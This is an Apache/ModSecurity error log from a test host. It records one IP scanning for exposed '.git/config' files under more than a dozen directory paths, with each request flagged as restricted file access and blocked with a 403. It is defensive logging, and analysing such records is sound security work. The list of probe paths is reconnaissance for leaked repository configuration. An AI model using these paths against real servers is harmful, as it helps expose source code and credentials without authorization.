[Thu May 09 04:39:59.473944 2024] [:error] [pid 3088694] [client 91.215.85.43:46122] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /node_modules/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FyAAAAAc&quot;]
[Thu May 09 04:39:59.474441 2024] [:error] [pid 3088694] [client 91.215.85.43:46122] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FyAAAAAc&quot;]
[Thu May 09 04:39:59.475656 2024] [:error] [pid 3087474] [client 91.215.85.43:46124] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /old-cuburn/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old-cuburn/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuOgAAAAY&quot;]
[Thu May 09 04:39:59.476078 2024] [:error] [pid 3087474] [client 91.215.85.43:46124] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old-cuburn/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuOgAAAAY&quot;]
[Thu May 09 04:39:59.476598 2024] [:error] [pid 3087474] [client 91.215.85.43:46124] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old-cuburn/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuOgAAAAY&quot;]
[Thu May 09 04:39:59.477199 2024] [:error] [pid 3087047] [client 91.215.85.43:46154] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /qa/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qa/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDYgAAAAU&quot;]
[Thu May 09 04:39:59.477777 2024] [:error] [pid 3087047] [client 91.215.85.43:46154] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qa/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDYgAAAAU&quot;]
[Thu May 09 04:39:59.477849 2024] [:error] [pid 3087045] [client 91.215.85.43:46078] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64EAAAAAM&quot;]
[Thu May 09 04:39:59.478188 2024] [:error] [pid 3087047] [client 91.215.85.43:46154] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qa/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDYgAAAAU&quot;]
[Thu May 09 04:39:59.478250 2024] [:error] [pid 3087045] [client 91.215.85.43:46078] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64EAAAAAM&quot;]
[Thu May 09 04:39:59.478763 2024] [:error] [pid 3088694] [client 91.215.85.43:46122] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FyAAAAAc&quot;]
[Thu May 09 04:39:59.485137 2024] [:error] [pid 3087042] [client 91.215.85.43:46134] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /new/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.git/config&quot;] [unique_id &quot;Zjw3f76BZEswTgH69C-YDQAAAAA&quot;]
[Thu May 09 04:39:59.485389 2024] [:error] [pid 3087042] [client 91.215.85.43:46134] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.git/config&quot;] [unique_id &quot;Zjw3f76BZEswTgH69C-YDQAAAAA&quot;]
[Thu May 09 04:39:59.485633 2024] [:error] [pid 3087042] [client 91.215.85.43:46134] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.git/config&quot;] [unique_id &quot;Zjw3f76BZEswTgH69C-YDQAAAAA&quot;]
[Thu May 09 04:39:59.486880 2024] [:error] [pid 3087043] [client 91.215.85.43:46188] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcShgAAAAE&quot;]
[Thu May 09 04:39:59.487127 2024] [:error] [pid 3087043] [client 91.215.85.43:46188] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcShgAAAAE&quot;]
[Thu May 09 04:39:59.487326 2024] [:error] [pid 3087043] [client 91.215.85.43:46188] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcShgAAAAE&quot;]
[Thu May 09 04:39:59.499962 2024] [:error] [pid 3089373] [client 91.215.85.43:46106] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /public/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;Zjw3f-N0fMSfu-PymUG_dQAAAAg&quot;]
[Thu May 09 04:39:59.500180 2024] [:error] [pid 3089373] [client 91.215.85.43:46106] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;Zjw3f-N0fMSfu-PymUG_dQAAAAg&quot;]
[Thu May 09 04:39:59.500362 2024] [:error] [pid 3089373] [client 91.215.85.43:46106] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;Zjw3f-N0fMSfu-PymUG_dQAAAAg&quot;]
[Thu May 09 04:39:59.530050 2024] [:error] [pid 3087046] [client 91.215.85.43:46214] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /static/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5TgAAAAQ&quot;]
[Thu May 09 04:39:59.530610 2024] [:error] [pid 3087046] [client 91.215.85.43:46214] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5TgAAAAQ&quot;]
[Thu May 09 04:39:59.531027 2024] [:error] [pid 3087046] [client 91.215.85.43:46214] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5TgAAAAQ&quot;]
[Thu May 09 04:39:59.536467 2024] [:error] [pid 3087044] [client 91.215.85.43:46170] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /samples/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb_-wAAAAI&quot;]
[Thu May 09 04:39:59.537037 2024] [:error] [pid 3087044] [client 91.215.85.43:46170] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb_-wAAAAI&quot;]
[Thu May 09 04:39:59.537533 2024] [:error] [pid 3087044] [client 91.215.85.43:46170] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb_-wAAAAI&quot;]
[Thu May 09 04:39:59.574183 2024] [:error] [pid 3087047] [client 91.215.85.43:46200] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /staging/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDYwAAAAU&quot;]
[Thu May 09 04:39:59.574682 2024] [:error] [pid 3087047] [client 91.215.85.43:46200] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDYwAAAAU&quot;]
[Thu May 09 04:39:59.575002 2024] [:error] [pid 3087474] [client 91.215.85.43:46172] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /s3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuOwAAAAY&quot;]
[Thu May 09 04:39:59.575151 2024] [:error] [pid 3087047] [client 91.215.85.43:46200] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDYwAAAAU&quot;]
[Thu May 09 04:39:59.575494 2024] [:error] [pid 3087474] [client 91.215.85.43:46172] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuOwAAAAY&quot;]
[Thu May 09 04:39:59.575909 2024] [:error] [pid 3087474] [client 91.215.85.43:46172] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuOwAAAAY&quot;]
[Thu May 09 04:39:59.578856 2024] [:error] [pid 3087045] [client 91.215.85.43:46218] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v3/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64EQAAAAM&quot;]
